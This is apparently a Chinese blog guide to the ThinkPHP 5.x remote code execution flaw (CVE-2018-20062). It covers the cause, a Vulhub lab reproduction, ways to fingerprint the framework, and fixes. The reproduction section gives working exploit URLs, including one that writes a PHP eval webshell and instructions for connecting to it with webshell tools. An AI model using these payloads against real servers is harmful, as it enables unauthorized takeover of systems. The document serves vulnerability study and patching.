ThinkPHP v5.0.11 远程代码执行漏洞（RCE）深度解析与安全防护指南-拾贝生活号

ThinkPHP 框架与安全挑战

ThinkPHP 是一款由国人开发的轻量级、高性能的 PHP 开发框架，自2006年诞生以来，因其上手简单、开发效率高、生态完善，被广泛应用于各类Web项目中。然而，正因其普及度高，也成为黑客攻击的重点目标。

ThinkPHP v5.0.11 远程代码执行漏洞（RCE）深度解析与安全防护指南

在众多历史漏洞中，ThinkPHP 5.0.11 版本存在的远程代码执行（RCE）漏洞尤为关键，影响范围广，危害等级高。本文将深入剖析 ThinkPHP v5.0.11 的核心漏洞原理、复现步骤、检测方法及修复方案，帮助开发者和安全研究人员全面掌握该漏洞，提升系统安全性。

ThinkPHP v5.0.11 漏洞概述

漏洞名称

ThinkPHP 5.0.22 / 5.1.29 远程代码执行漏洞（CVE-2018-20062）
影响版本：5.0.0 ≤ ThinkPHP < 5.0.23，5.1.0 ≤ ThinkPHP < 5.1.30

虽然官方漏洞公告中未明确列出 5.0.11，但由于其处于 5.0.0 至 5.0.23 的区间内，ThinkPHP v5.0.11 明确受此漏洞影响。

漏洞类型

远程代码执行（Remote Code Execution, RCE）

漏洞等级

高危（Critical）

漏洞成因

该漏洞源于 ThinkPHP 框架对控制器名称和请求方法的处理不当。当未开启强制路由（默认未开启）时，攻击者可通过构造特殊请求，调用框架内部类方法，最终实现任意代码执行。

漏洞原理深度剖析

ThinkPHP 5 在处理 URL 路由时，会将路径参数解析为控制器和操作方法。但在 v5.0.11 版本中，框架未对控制器名称进行严格过滤，导致攻击者可以传入类似 \think\App 这样的类名，从而调用框架内部的 invokeFunction 方法。

关键利用点在于：

攻击者可通过 s 参数控制请求路径。
利用 \think\app::invokefunction 方法，结合 call_user_func_array 函数，执行任意 PHP 函数。
通过 function 和 vars 参数传递目标函数和参数，实现代码执行。

漏洞复现步骤（基于 Vulhub 靶场）

环境准备

安装 Docker 与 Docker-Compose

克隆 Vulhub 漏洞靶场：

git clone https://github.com/vulhub/vulhub.git
cd vulhub/thinkphp/5-rce

启动环境：
```
docker-compose up -d
```

漏洞利用

步骤1：验证漏洞是否存在

访问以下URL，触发 phpinfo() 执行：

http://your-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

若页面显示 PHP 配置信息，则说明目标存在 RCE 漏洞。

步骤2：写入一句话木马

将以下木马写入服务器根目录的 shell.php：

<?php @eval($_POST['cmd']); ?>

URL 编码后拼接：

http://your-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%20%3F%3E

步骤3：连接 WebShell

使用 中国蚁剑 或菜刀等工具，连接：

URL: http://your-ip:8080/shell.php
密码: cmd

成功连接后即可执行任意系统命令，实现服务器完全控制。

如何识别 ThinkPHP 框架？

在实战渗透中，快速识别目标是否使用 ThinkPHP 是关键。以下是常见指纹特征：

指纹类型	特征
URL 特征	`/index.php?s=/` 结构常见于 ThinkPHP 路由
Favicon.ico	MD5 值为 `4e5e5d7364f443e28fbf0d3ae744a59a`
错误页面	页面包含 “ThinkPHP”、“十年磨一剑” 等字样
特殊参数	访问 `/?c=4e5e5d7364f443e28fbf0d3ae744a59a` 可能触发框架响应

漏洞修复方案

方案一：升级框架（推荐）

立即升级至安全版本：

ThinkPHP 5.0.x 用户 → 升级至 5.0.23 或以上
ThinkPHP 5.1.x 用户 → 升级至 5.1.30 或以上

使用 Composer 升级：

composer update topthink/framework

方案二：手动修复（适用于无法升级的场景）

修改 thinkphp/library/think/App.php 文件，在 module 方法中添加控制器名白名单校验：

// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);

// 添加安全校验
if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
    throw new \think\exception\HttpException(404, 'controller not exists:' . $controller);
}

此代码可阻止非法类名传入，有效防御 RCE 攻击。